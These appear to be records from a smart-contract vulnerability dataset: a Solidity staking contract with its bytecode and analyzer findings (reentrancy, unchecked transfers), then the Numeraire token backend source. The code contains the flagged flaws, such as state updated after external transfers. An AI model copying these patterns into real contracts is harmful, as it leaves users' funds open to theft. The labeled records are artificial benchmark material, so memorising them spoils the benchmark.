mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint public fee = 3e16;
uint internal pointMultiplier = 1e18;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(rewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfStakers() public view returns (uint) {
return holders.length();
}
function stake(uint amountToStake) public payable {
require(msg.value >= fee, "Insufficient Fee Submitted");
address payable _owner = address(uint160(owner));
_owner.transfer(fee);
require(amountToStake > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(stakingTokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
totalTokens = totalTokens.add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unstake(uint amountToWithdraw) public payable {
require(msg.value >= fee, "Insufficient Fee Submitted");
address payable _owner = address(uint160(owner));
_owner.transfer(fee);
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
require(Token(stakingTokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs(uint amount) private {
if (totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
}
function receiveTokens(address _from, uint256 _value, bytes memory _extraData) public {
require(msg.sender == rewardTokenAddress);
distributeDivs(_value);
}
// function to allow owner to claim *other* ERC20 tokens sent to this contract
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require(_tokenAddr != rewardTokenAddress && _tokenAddr != stakingTokenAddress, "Cannot send out reward tokens or staking tokens!");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x60806040526004361061011f5760003560e01c80638bc1e076116100a0578063c326bf4f11610064578063c326bf4f146105dc578063d578ceab14610641578063ddca3f431461066c578063f2fde38b14610697578063f3f91fa0146106e85761011f565b80638bc1e076146103eb5780638da5cb5b146104dd5780638e20a1d91461051e57806398896d1014610549578063a694fc3a146105ae5761011f565b8063583d42fd116100e7578063583d42fd146102505780636270cd18146102b5578063658b67291461031a5780636a395ccb146103455780637e1c0c09146103c05761011f565b8063125f9e33146101245780631f04461c146101655780632e17de78146101ca5780634e71d92d146101f85780635298b8691461020f575b600080fd5b34801561013057600080fd5b5061013961074d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561017157600080fd5b506101b46004803603602081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610773565b6040518082815260200191505060405180910390f35b6101f6600480360360208110156101e057600080fd5b810190808035906020019092919050505061078b565b005b34801561020457600080fd5b5061020d610b9e565b005b34801561021b57600080fd5b50610224610ba9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561025c57600080fd5b5061029f6004803603602081101561027357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bcf565b6040518082815260200191505060405180910390f35b3480156102c157600080fd5b50610304600480360360208110156102d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be7565b6040518082815260200191505060405180910390f35b34801561032657600080fd5b5061032f610bff565b6040518082815260200191505060405180910390f35b34801561035157600080fd5b506103be6004803603606081101561036857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c10565b005b3480156103cc57600080fd5b506103d5610e1b565b6040518082815260200191505060405180910390f35b3480156103f757600080fd5b506104db6004803603606081101561040e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561045557600080fd5b82018360208201111561046757600080fd5b8035906020019184600183028401116401000000008311171561048957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610e21565b005b3480156104e957600080fd5b506104f2610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561052a57600080fd5b50610533610ead565b6040518082815260200191505060405180910390f35b34801561055557600080fd5b506105986004803603602081101561056c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb3565b6040518082815260200191505060405180910390f35b6105da600480360360208110156105c457600080fd5b8101908080359060200190929190505050610ffa565b005b3480156105e857600080fd5b5061062b600480360360208110156105ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113e4565b6040518082815260200191505060405180910390f35b34801561064d57600080fd5b506106566113fc565b6040518082815260200191505060405180910390f35b34801561067857600080fd5b50610681611402565b6040518082815260200191505060405180910390f35b3480156106a357600080fd5b506106e6600480360360208110156106ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611408565b005b3480156106f457600080fd5b506107376004803603602081101561070b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611557565b6040518082815260200191505060405180910390f35b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915090505481565b600d54341015610803576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e73756666696369656e7420466565205375626d697474656400000000000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166108fc600d549081150290604051600060405180830381858888f19350505050158015610871573d6000803e3d6000fd5b5081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6109303361156f565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156109c357600080fd5b505af11580156109d7573d6000803e3d6000fd5b505050506040513d60208110156109ed57600080fd5b8101908080519060200190929190505050610a70576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610ac282600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185990919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a82600c5461185990919063ffffffff16565b600c81905550610b3433600461187090919063ffffffff16565b8015610b7f57506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610b9a57610b983360046118a090919063ffffffff16565b505b5050565b610ba73361156f565b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60076020528060005260406000206000915090505481565b60096020528060005260406000206000915090505481565b6000610c0b60046118d0565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c6857600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610d145750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610d69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180611b5d6030913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610dda57600080fd5b505af1158015610dee573d6000803e3d6000fd5b505050506040513d6020811015610e0457600080fd5b810190808051906020019092919050505050505050565b600c5481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e7b57600080fd5b610e84826118e5565b505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000610ec982600461187090919063ffffffff16565b610ed65760009050610ff5565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610f275760009050610ff5565b6000610f7d600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600b5461185990919063ffffffff16565b90506000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000610fec600e54610fde858561193c90919063ffffffff16565b61196b90919063ffffffff16565b90508093505050505b919050565b600d54341015611072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e73756666696369656e7420466565205375626d697474656400000000000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166108fc600d549081150290604051600060405180830381858888f193505050501580156110e0573d6000803e3d6000fd5b5060008211611157576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b6111603361156f565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561121157600080fd5b505af1158015611225573d6000803e3d6000fd5b505050506040513d602081101561123b57600080fd5b81019080805190602001909291905050506112be576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61131082600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198490919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061136882600c5461198490919063ffffffff16565b600c8190555061138233600461187090919063ffffffff16565b6113e05761139a3360046119a090919063ffffffff16565b5042600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b60066020528060005260406000206000915090505481565b60035481565b600d5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461146057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561149a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60086020528060005260406000206000915090505481565b600061157a82610eb3565b905060008111156117cb57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561161857600080fd5b505af115801561162c573d6000803e3d6000fd5b505050506040513d602081101561164257600080fd5b81019080805190602001909291905050506116c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61171781600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198490919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061176f8160035461198490919063ffffffff16565b6003819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008282111561186557fe5b818303905092915050565b6000611898836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6119d0565b905092915050565b60006118c8836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6119f3565b905092915050565b60006118de82600001611adb565b9050919050565b6000600c5414156118f557611939565b611932611921600c54611913600e548561193c90919063ffffffff16565b61196b90919063ffffffff16565b600b5461198490919063ffffffff16565b600b819055505b50565b6000808284029050600084148061195b57508284828161195857fe5b04145b61196157fe5b8091505092915050565b60008082848161197757fe5b0490508091505092915050565b60008082840190508381101561199657fe5b8091505092915050565b60006119c8836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611aec565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114611acf5760006001820390506000600186600001805490500390506000866000018281548110611a3e57fe5b9060005260206000200154905080876000018481548110611a5b57fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480611a9357fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611ad5565b60009150505b92915050565b600081600001805490509050919050565b6000611af883836119d0565b611b51578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611b56565b600090505b9291505056fe43616e6e6f742073656e64206f75742072657761726420746f6b656e73206f72207374616b696e6720746f6b656e7321a2646970667358221220d33e1053c1febd5fe6ce0b4f241597b22ab6c7323a1272c82f32033e3ebf91f664736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,164 |
0x1776e1f26f98b1a5df9cd347953a26dd3cb46671
|
pragma solidity ^0.4.11;
contract Safe {
// Check if it is safe to add two numbers
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
// Check if it is safe to subtract two numbers
function safeSubtract(uint a, uint b) internal returns (uint) {
uint c = a - b;
assert(b <= a && c <= a);
return c;
}
function safeMultiply(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || (c / a) == b);
return c;
}
function shrink128(uint a) internal returns (uint128) {
assert(a < 0x100000000000000000000000000000000);
return uint128(a);
}
// mitigate short address attack
modifier onlyPayloadSize(uint numWords) {
assert(msg.data.length == numWords * 32 + 4);
_;
}
// allow ether to be received
function () payable { }
}
// Class variables used both in NumeraireBackend and NumeraireDelegate
contract NumeraireShared is Safe {
address public numerai = this;
// Cap the total supply and the weekly supply
uint256 public supply_cap = 21000000e18; // 21 million
uint256 public weekly_disbursement = 96153846153846153846153;
uint256 public initial_disbursement;
uint256 public deploy_time;
uint256 public total_minted;
// ERC20 requires totalSupply, balanceOf, and allowance
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (uint => Tournament) public tournaments; // tournamentID
struct Tournament {
uint256 creationTime;
uint256[] roundIDs;
mapping (uint256 => Round) rounds; // roundID
}
struct Round {
uint256 creationTime;
uint256 endTime;
uint256 resolutionTime;
mapping (address => mapping (bytes32 => Stake)) stakes; // address of staker
}
// The order is important here because of its packing characteristics.
// Particularly, `amount` and `confidence` are in the *same* word, so
// Solidity can update both at the same time (if the optimizer can figure
// out that you're updating both). This makes `stake()` cheap.
struct Stake {
uint128 amount; // Once the stake is resolved, this becomes 0
uint128 confidence;
bool successful;
bool resolved;
}
// Generates a public event on the blockchain to notify clients
event Mint(uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Staked(address indexed staker, bytes32 tag, uint256 totalAmountStaked, uint256 confidence, uint256 indexed tournamentID, uint256 indexed roundID);
event RoundCreated(uint256 indexed tournamentID, uint256 indexed roundID, uint256 endTime, uint256 resolutionTime);
event TournamentCreated(uint256 indexed tournamentID);
event StakeDestroyed(uint256 indexed tournamentID, uint256 indexed roundID, address indexed stakerAddress, bytes32 tag);
event StakeReleased(uint256 indexed tournamentID, uint256 indexed roundID, address indexed stakerAddress, bytes32 tag, uint256 etherReward);
// Calculate allowable disbursement
function getMintable() constant returns (uint256) {
return
safeSubtract(
safeAdd(initial_disbursement,
safeMultiply(weekly_disbursement,
safeSubtract(block.timestamp, deploy_time))
/ 1 weeks),
total_minted);
}
}
// From OpenZepplin: https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/ownership/Shareable.sol
/*
* Shareable
*
* Effectively our multisig contract
*
* Based on https://github.com/ethereum/dapp-bin/blob/master/wallet/wallet.sol
*
* inheritable "property" contract that enables methods to be protected by requiring the acquiescence of either a single, or, crucially, each of a number of, designated owners.
*
* usage:
* use modifiers onlyowner (just own owned) or onlymanyowners(hash), whereby the same hash must be provided by some number (specified in constructor) of the set of owners (specified in the constructor) before the interior is executed.
*/
contract Shareable {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// FIELDS
// the number of owners that must confirm the same operation before it is run.
uint public required;
// list of owners
address[256] owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(address => uint) ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) pendings;
bytes32[] pendingsIndex;
// EVENTS
// this contract only has six types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// MODIFIERS
address thisContract = this;
// simple single-sig function modifier.
modifier onlyOwner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlyManyOwners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// CONSTRUCTOR
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function Shareable(address[] _owners, uint _required) {
owners[1] = msg.sender;
ownerIndex[msg.sender] = 1;
for (uint i = 0; i < _owners.length; ++i) {
owners[2 + i] = _owners[i];
ownerIndex[_owners[i]] = 2 + i;
}
if (required > owners.length) throw;
required = _required;
}
// new multisig is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
// take all new owners as an array
function changeShareable(address[] _owners, uint _required) onlyManyOwners(sha3(msg.data)) {
for (uint i = 0; i < _owners.length; ++i) {
owners[1 + i] = _owners[i];
ownerIndex[_owners[i]] = 1 + i;
}
if (required > owners.length) throw;
required = _required;
}
// METHODS
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint index = ownerIndex[msg.sender];
// make sure they're an owner
if (index == 0) return;
uint ownerIndexBit = 2**index;
var pending = pendings[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) external constant returns (address) {
return address(owners[ownerIndex + 1]);
}
function isOwner(address _addr) constant returns (bool) {
return ownerIndex[_addr] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) constant returns (bool) {
var pending = pendings[_operation];
uint index = ownerIndex[_owner];
// make sure they're an owner
if (index == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**index;
return !(pending.ownersDone & ownerIndexBit == 0);
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint index = ownerIndex[msg.sender];
// make sure they're an owner
if (index == 0) return;
var pending = pendings[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = pendingsIndex.length++;
pendingsIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**index;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete pendingsIndex[pendings[_operation].index];
delete pendings[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function clearPending() internal {
uint length = pendingsIndex.length;
for (uint i = 0; i < length; ++i)
if (pendingsIndex[i] != 0)
delete pendings[pendingsIndex[i]];
delete pendingsIndex;
}
}
// From OpenZepplin: https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/lifecycle/Pausable.sol
/*
* Stoppable
* Abstract contract that allows children to implement an
* emergency stop mechanism.
*/
contract StoppableShareable is Shareable {
bool public stopped;
bool public stoppable = true;
modifier stopInEmergency { if (!stopped) _; }
modifier onlyInEmergency { if (stopped) _; }
function StoppableShareable(address[] _owners, uint _required) Shareable(_owners, _required) {
}
// called by the owner on emergency, triggers stopped state
function emergencyStop() external onlyOwner {
assert(stoppable);
stopped = true;
}
// called by the owners on end of emergency, returns to normal state
function release() external onlyManyOwners(sha3(msg.data)) {
assert(stoppable);
stopped = false;
}
// called by the owners to disable ability to begin or end an emergency stop
function disableStopping() external onlyManyOwners(sha3(msg.data)) {
stoppable = false;
}
}
// This is the contract that will be unchangeable once deployed. It will call delegate functions in another contract to change state. The delegate contract is upgradable.
contract NumeraireBackend is StoppableShareable, NumeraireShared {
address public delegateContract;
bool public contractUpgradable = true;
address[] public previousDelegates;
string public standard = "ERC20";
// ERC20 requires name, symbol, and decimals
string public name = "Numeraire";
string public symbol = "NMR";
uint256 public decimals = 18;
event DelegateChanged(address oldAddress, address newAddress);
function NumeraireBackend(address[] _owners, uint256 _num_required, uint256 _initial_disbursement) StoppableShareable(_owners, _num_required) {
totalSupply = 0;
total_minted = 0;
initial_disbursement = _initial_disbursement;
deploy_time = block.timestamp;
}
function disableContractUpgradability() onlyManyOwners(sha3(msg.data)) returns (bool) {
assert(contractUpgradable);
contractUpgradable = false;
}
function changeDelegate(address _newDelegate) onlyManyOwners(sha3(msg.data)) returns (bool) {
assert(contractUpgradable);
if (_newDelegate != delegateContract) {
previousDelegates.push(delegateContract);
var oldDelegate = delegateContract;
delegateContract = _newDelegate;
DelegateChanged(oldDelegate, _newDelegate);
return true;
}
return false;
}
function claimTokens(address _token) onlyOwner {
assert(_token != numerai);
if (_token == 0x0) {
msg.sender.transfer(this.balance);
return;
}
NumeraireBackend token = NumeraireBackend(_token);
uint256 balance = token.balanceOf(this);
token.transfer(msg.sender, balance);
}
function mint(uint256 _value) stopInEmergency returns (bool ok) {
return delegateContract.delegatecall(bytes4(sha3("mint(uint256)")), _value);
}
function stake(uint256 _value, bytes32 _tag, uint256 _tournamentID, uint256 _roundID, uint256 _confidence) stopInEmergency returns (bool ok) {
return delegateContract.delegatecall(bytes4(sha3("stake(uint256,bytes32,uint256,uint256,uint256)")), _value, _tag, _tournamentID, _roundID, _confidence);
}
function stakeOnBehalf(address _staker, uint256 _value, bytes32 _tag, uint256 _tournamentID, uint256 _roundID, uint256 _confidence) stopInEmergency onlyPayloadSize(6) returns (bool ok) {
return delegateContract.delegatecall(bytes4(sha3("stakeOnBehalf(address,uint256,bytes32,uint256,uint256,uint256)")), _staker, _value, _tag, _tournamentID, _roundID, _confidence);
}
function releaseStake(address _staker, bytes32 _tag, uint256 _etherValue, uint256 _tournamentID, uint256 _roundID, bool _successful) stopInEmergency onlyPayloadSize(6) returns (bool ok) {
return delegateContract.delegatecall(bytes4(sha3("releaseStake(address,bytes32,uint256,uint256,uint256,bool)")), _staker, _tag, _etherValue, _tournamentID, _roundID, _successful);
}
function destroyStake(address _staker, bytes32 _tag, uint256 _tournamentID, uint256 _roundID) stopInEmergency onlyPayloadSize(4) returns (bool ok) {
return delegateContract.delegatecall(bytes4(sha3("destroyStake(address,bytes32,uint256,uint256)")), _staker, _tag, _tournamentID, _roundID);
}
function numeraiTransfer(address _to, uint256 _value) onlyPayloadSize(2) returns(bool ok) {
return delegateContract.delegatecall(bytes4(sha3("numeraiTransfer(address,uint256)")), _to, _value);
}
function withdraw(address _from, address _to, uint256 _value) onlyPayloadSize(3) returns(bool ok) {
return delegateContract.delegatecall(bytes4(sha3("withdraw(address,address,uint256)")), _from, _to, _value);
}
function createTournament(uint256 _tournamentID) returns (bool ok) {
return delegateContract.delegatecall(bytes4(sha3("createTournament(uint256)")), _tournamentID);
}
function createRound(uint256 _tournamentID, uint256 _roundID, uint256 _endTime, uint256 _resolutionTime) returns (bool ok) {
return delegateContract.delegatecall(bytes4(sha3("createRound(uint256,uint256,uint256,uint256)")), _tournamentID, _roundID, _endTime, _resolutionTime);
}
function getTournament(uint256 _tournamentID) constant returns (uint256, uint256[]) {
var tournament = tournaments[_tournamentID];
return (tournament.creationTime, tournament.roundIDs);
}
function getRound(uint256 _tournamentID, uint256 _roundID) constant returns (uint256, uint256, uint256) {
var round = tournaments[_tournamentID].rounds[_roundID];
return (round.creationTime, round.endTime, round.resolutionTime);
}
function getStake(uint256 _tournamentID, uint256 _roundID, address _staker, bytes32 _tag) constant returns (uint256, uint256, bool, bool) {
var stake = tournaments[_tournamentID].rounds[_roundID].stakes[_staker][_tag];
return (stake.confidence, stake.amount, stake.successful, stake.resolved);
}
// ERC20: Send from a contract
function transferFrom(address _from, address _to, uint256 _value) stopInEmergency onlyPayloadSize(3) returns (bool ok) {
require(!isOwner(_from) && _from != numerai); // Transfering from Numerai can only be done with the numeraiTransfer function
// Check for sufficient funds.
require(balanceOf[_from] >= _value);
// Check for authorization to spend.
require(allowance[_from][msg.sender] >= _value);
balanceOf[_from] = safeSubtract(balanceOf[_from], _value);
allowance[_from][msg.sender] = safeSubtract(allowance[_from][msg.sender], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
// Notify anyone listening.
Transfer(_from, _to, _value);
return true;
}
// ERC20: Anyone with NMR can transfer NMR
function transfer(address _to, uint256 _value) stopInEmergency onlyPayloadSize(2) returns (bool ok) {
// Check for sufficient funds.
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = safeSubtract(balanceOf[msg.sender], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
// Notify anyone listening.
Transfer(msg.sender, _to, _value);
return true;
}
// ERC20: Allow other contracts to spend on sender's behalf
function approve(address _spender, uint256 _value) stopInEmergency onlyPayloadSize(2) returns (bool ok) {
require((_value == 0) || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function changeApproval(address _spender, uint256 _oldValue, uint256 _newValue) stopInEmergency onlyPayloadSize(3) returns (bool ok) {
require(allowance[msg.sender][_spender] == _oldValue);
allowance[msg.sender][_spender] = _newValue;
Approval(msg.sender, _spender, _newValue);
return true;
}
}
|
